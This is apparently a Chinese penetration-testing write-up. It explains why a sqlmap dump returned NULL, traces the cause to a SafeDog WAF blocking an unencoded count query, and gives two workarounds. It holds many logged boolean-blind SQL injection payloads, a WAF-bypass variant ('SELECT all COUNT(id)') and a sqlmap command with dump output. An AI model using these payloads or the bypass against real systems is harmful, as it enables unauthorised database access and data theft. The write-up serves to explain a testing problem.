sqlmap查询结果为NULL

Report 漏洞分析

在一次渗透测试过程中用sqlmap dump数据的时候发现导出的数据为null:

Database:  zVTYrvYry
Table:  yd_absence
[1436 entries]
+-----------+-----------+-----------+-----------+-----------+-----------+---------+
|     id    |   name    |     type  |    cycle  |  excuse   |  branch   | asktime |
[10:43:36] [WARNING]  console output will be trimmed to last 256 rows due to large table size
|    NULL   |    NULL   |    NULL   |    NULL   |    NULL   |    NULL   |    NULL |
|    NULL   |    NULL   |    NULL   |    NULL   |    NULL   |    NULL   |    NULL |
|    NULL   |    NULL   |    NULL   |    NULL   |    NULL   |    NULL   |    NULL |
|    NULL   |    NULL   |    NULL   |    NULL   |    NULL   |    NULL   |    NULL |
|    NULL   |    NULL   |    NULL   |    NULL   |    NULL   |    NULL   |    NULL |
|    NULL   |    NULL   |    NULL   |    NULL   |    NULL   |    NULL   |    NULL |

将结果十六进制编码后依然为NULL,其他表能正常导出数据,所以不能确认当前表是否真为空数据。因此我们对比sqlmap执行的每一步来找哪条语句导致查询出了问题:

[10:36:12]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL((CAST(COUNT(*) AS CHAR), 0X20) FROM zVTYrvYry.yd_absence),1 ,1))>51 AND 'qahJ'='qahJ
[10:36:12]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL((CAST(COUNT(*) AS CHAR), 0X20) FROM zVTYrvYry.yd_absence),1 ,1))>48 AND 'qahJ'='qahJ
[10:36:12]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL((CAST(COUNT(*) AS CHAR), 0X20) FROM zVTYrvYry.yd_absence),1 ,1))>49 AND 'qahJ'='qahJ
[10:36:12]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL((CAST(COUNT(*) AS CHAR), 0X20) FROM zVTYrvYry.yd_absence),2 ,1))>51 AND 'qahJ'='qahJ
[10:36:12]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL((CAST(COUNT(*) AS CHAR), 0X20) FROM zVTYrvYry.yd_absence),2 ,1))>54 AND 'qahJ'='qahJ
[10:36:12]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL((CAST(COUNT(*) AS CHAR), 0X20) FROM zVTYrvYry.yd_absence),2 ,1))>52 AND 'qahJ'='qahJ
[10:36:12]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL((CAST(COUNT(*) AS CHAR), 0X20) FROM zVTYrvYry.yd_absence),3 ,1))>51 AND 'qahJ'='qahJ
[10:36:13]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL((CAST(COUNT(*) AS CHAR), 0X20) FROM zVTYrvYry.yd_absence),3 ,1))>48 AND 'qahJ'='qahJ
[10:36:13]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL((CAST(COUNT(*) AS CHAR), 0X20) FROM zVTYrvYry.yd_absence),3 ,1))>49 AND 'qahJ'='qahJ
[10:36:13]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL((CAST(COUNT(*) AS CHAR), 0X20) FROM zVTYrvYry.yd_absence),3 ,1))>50 AND 'qahJ'='qahJ
[10:36:13]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL((CAST(COUNT(*) AS CHAR), 0X20) FROM zVTYrvYry.yd_absence),4 ,1))>51 AND 'qahJ'='qahJ
[10:36:13]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL((CAST(COUNT(*) AS CHAR), 0X20) FROM zVTYrvYry.yd_absence),4 ,1))>54 AND 'qahJ'='qahJ
[10:36:13]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL((CAST(COUNT(*) AS CHAR), 0X20) FROM zVTYrvYry.yd_absence),4 ,1))>52 AND 'qahJ'='qahJ
[10:36:13]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL((CAST(COUNT(*) AS CHAR), 0X20) FROM zVTYrvYry.yd_absence),4 ,1))>53 AND 'qahJ'='qahJ
[10:36:13]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL((CAST(COUNT(*) AS CHAR), 0X20) FROM zVTYrvYry.yd_absence),5 ,1))>51 AND 'qahJ'='qahJ
[10:36:13]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL((CAST(COUNT(*) AS CHAR), 0X20) FROM zVTYrvYry.yd_absence),5 ,1))>48 AND 'qahJ'='qahJ
[10:36:13]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL((CAST(COUNT(*) AS CHAR), 0X20) FROM zVTYrvYry.yd_absence),5 ,1))>9 AND 'qahJ'='qahJ
[10:36:13]  [INFO] retrieved: 1436
[10:36:13]  [DEBUG] performed 17 queries in 1.61 seconds
[10:36:13]  [DEBUG] fetching number of column(s) `id` entries for table `yd_absence` in database `zVTYrvYry`
[10:36:13]  [PAYLOAD] admin' AND (SELECT COUNT(id) FROM zVTYrvYry.yd_absence)>0 AND 'Vvzk'='Vvzk
[10:36:13]  [DEBUG] columns 'id' of 'table zVTYrvYry.yd_absence' will not be dumped as it appears to be empty
[10:36:13]  [DEBUG] analyzing table dump for possible password hashes

上面PAYLOAD的作用就是判断当前表数据总数的第一位是不是"3",后面以此内推。在这步之前都没有问题,但接下来的payload却导致我们dump的数据为空。把这条语句挂载到Burpsuit重放数据包观察服务器的响应,发现请求被安全狗拦截了,因此sqlmap没执行后面的操作。虽然知道出不了数据的原因,但结果更让我疑惑了,获取其他表单数据的时候理应用的相同语句,那为什么没有被拦截?对比一组能dump数据的表,我们看下payload是否有变化:

[10:40:31]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL((CAST(COUNT(*) AS CHAR), 0X20) FROM zVTYrvYry.yd_tmp),1 ,1))>51 AND 'qahJ'='qahJ
[10:40:31]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL((CAST(COUNT(*) AS CHAR), 0X20) FROM zVTYrvYry.yd_tmp),1 ,1))>54 AND 'qahJ'='qahJ
[10:40:31]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL((CAST(COUNT(*) AS CHAR), 0X20) FROM zVTYrvYry.yd_tmp),1 ,1))>56 AND 'qahJ'='qahJ
[10:40:31]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL((CAST(COUNT(*) AS CHAR), 0X20) FROM zVTYrvYry.yd_tmp),1 ,1))>55 AND 'qahJ'='qahJ
[10:40:31]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL((CAST(COUNT(*) AS CHAR), 0X20) FROM zVTYrvYry.yd_tmp),2 ,1))>51 AND 'qahJ'='qahJ
[10:40:31]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL((CAST(COUNT(*) AS CHAR), 0X20) FROM zVTYrvYry.yd_tmp),2 ,1))>48 AND 'qahJ'='qahJ
[10:40:31]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL((CAST(COUNT(*) AS CHAR), 0X20) FROM zVTYrvYry.yd_tmp),2 ,1))>9 AND 'qahJ'='qahJ
[10:40:31]  [INFO] retrieved: 8 
[10:40:31]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL(CAST(`time` AS CHAR), 0X20) FROM zVTYrvYry.yd_tmp ORDER BY `time` LIMIT 0,1),1,1))>64 AND 'CzRT'='CzRT
[10:40:31]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL(CAST(`time` AS CHAR), 0X20) FROM zVTYrvYry.yd_tmp ORDER BY `time` LIMIT 0,1),1,1))>32 AND 'CzRT'='CzRT
[10:40:31]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL(CAST(`time` AS CHAR), 0X20) FROM zVTYrvYry.yd_tmp ORDER BY `time` LIMIT 0,1),1,1))>48 AND 'CzRT'='CzRT
[10:40:31]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL(CAST(`time` AS CHAR), 0X20) FROM zVTYrvYry.yd_tmp ORDER BY `time` LIMIT 0,1),1,1))>40 AND 'CzRT'='CzRT
[10:40:31]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL(CAST(`time` AS CHAR), 0X20) FROM zVTYrvYry.yd_tmp ORDER BY `time` LIMIT 0,1),1,1))>44 AND 'CzRT'='CzRT
[10:40:31]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL(CAST(`time` AS CHAR), 0X20) FROM zVTYrvYry.yd_tmp ORDER BY `time` LIMIT 0,1),1,1))>46 AND 'CzRT'='CzRT
[10:40:31]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL(CAST(`time` AS CHAR), 0X20) FROM zVTYrvYry.yd_tmp ORDER BY `time` LIMIT 1,1),1,1))>47 AND 'CzRT'='CzRT
[10:40:31]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL(CAST(`time` AS CHAR), 0X20) FROM zVTYrvYry.yd_tmp ORDER BY `time` LIMIT 1,1),2,1))>47 AND 'CzRT'='CzRT
[10:40:31]  [PAYLOAD] admin' AND ORD(MID(SELECT IFNULL(CAST(`time` AS CHAR), 0X20) FROM zVTYrvYry.yd_tmp ORDER BY `time` LIMIT 1,1),2,1))>1 AND 'CzRT'='CzRT
[10:40:31]  [INFO] retrieved: 0 

在计数完absence整张表的数据后,sqlmap还要再计数一遍要获取字段的条数,问题就出在select count(id)这句过不了安全狗被拦截了:

admin' AND (SELECT COUNT(id) FROM zVTYrvYry.yd_absence)>0 AND 'ieZY'='ieZY

那最后一个问题,到底是怎样的诱因导致两张表的payload出现如此差异?根据上文sqlmap计数整张表的条数时发现,针对数据特别多的表它会先计算整张表的条数,再计算要获取字段的条数,但计数字段数用的payload没有做编码或者混肴,被安全狗拦截后直接中断后面的查询,导致最后导出的结果为NULL。

   

0x02: 解决方案

既然知道导出数据为NULL是因为执行了未编码或者混肴的payload,那解决方案就有两种:编码混肴绕过安全狗的正则,或者让sqlmap查询计数完整张表的条数后,不执行后面计数字段的语句。关于第一条解决方案,实际上我们将payload改为:

admin' AND (SELECT all COUNT(id) FROM zVTYrvYry.yd_absence)>1436 AND 'ieZY'='ieZY

就能成功绕过安全狗的过滤了(.........emmmmm),而第二个解决方案则是我们自己指定要dump数据的条数,sqlmap就不会自己再计数一次字段数:

sqlmap -r 2.txt --technique=B -D zVTYrvYry -T yd_absence -C id --thread 10 -v 3 --dump --start 1 --stop 10
Database:  zVTYrvYry
Table:  yd_absence
[10 entries]
+-----------+
|     id    |
+-----------+
|     2     |
|     3     |
|     4     |
|     5     |
|     6     |
|     7     |
|     8     |
|     9     |
|     10    |
|     11    |